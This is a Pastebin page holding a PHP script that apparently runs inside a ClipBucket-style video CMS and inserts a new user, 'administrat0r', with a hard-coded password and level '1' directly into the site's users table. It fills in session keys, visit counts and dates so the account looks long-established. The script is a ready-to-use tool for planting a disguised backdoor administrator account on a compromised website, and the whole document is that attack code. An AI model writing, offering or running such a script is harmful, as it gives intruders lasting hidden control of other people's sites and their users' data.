Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $username = 'administrat0r';
- $password = 'tooeasy';
- if (file_exists('includes/config.inc.php')) include("includes/config.inc.php");
- elseif (file_exists('../includes/config.inc.php')) include("../includes/config.inc.php");
- else die(getcwd());
- $pass = pass_code($password);
- $values = array(
- "category" => "2",
- "featured_video" => "",
- "username" => $username,
- "user_session_key" => "777750fea4d3bd585bf47dc1873619fc",
- "user_session_code" => "10192",
- "password" => $pass,
- "email" => "webmaster@website",
- "usr_status" => "Ok",
- "msg_notify" => "yes",
- "avatar" => "0",
- "avatar_url" => "",
- "sex" => "male",
- "dob" => "1989-10-14",
- "country" => "PK",
- "level" => "1",
- "avcode" => "08c5a7bd48",
- "doj" => "0000-00-00 00:00:00",
- "last_logged" => "2011-02-10 10:22:41",
- "num_visits" => "86",
- "session" => "pub6e7fq5oj76vakuov2j03hm1",
- "ip" => "127.0.0.1",
- "signup_ip" => "",
- "time_zone" => "0",
- "featured" => "No",
- "featured_date" => "2009-12-03 15:14:20",
- "profile_hits" => "0",
- "total_watched" => "0",
- "total_videos" => "0",
- "total_comments" => "0",
- "total_photos" => "0",
- "total_collections" => "0",
- "comments_count" => "0",
- "last_commented" => "2011-02-07 12:56:46",
- "ban_status" => "no",
- "upload" => "0",
- "subscribers" => "0",
- "total_subscriptions" => "1",
- "background" => "0",
- "background_color" => "#ed0000",
- "background_url" => "",
- "background_repeat" => "no-repeat",
- "background_attachement" => "yes",
- "total_groups" => "3",
- "last_active" => "2011-02-14 08:43:25",
- "banned_users" => "test",
- "welcome_email_sent" => "yes",
- "total_downloads" => "0",
- );
- $id = $db->insert(tbl('users'), array_keys($values), array_values($values));
- var_dump($id);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement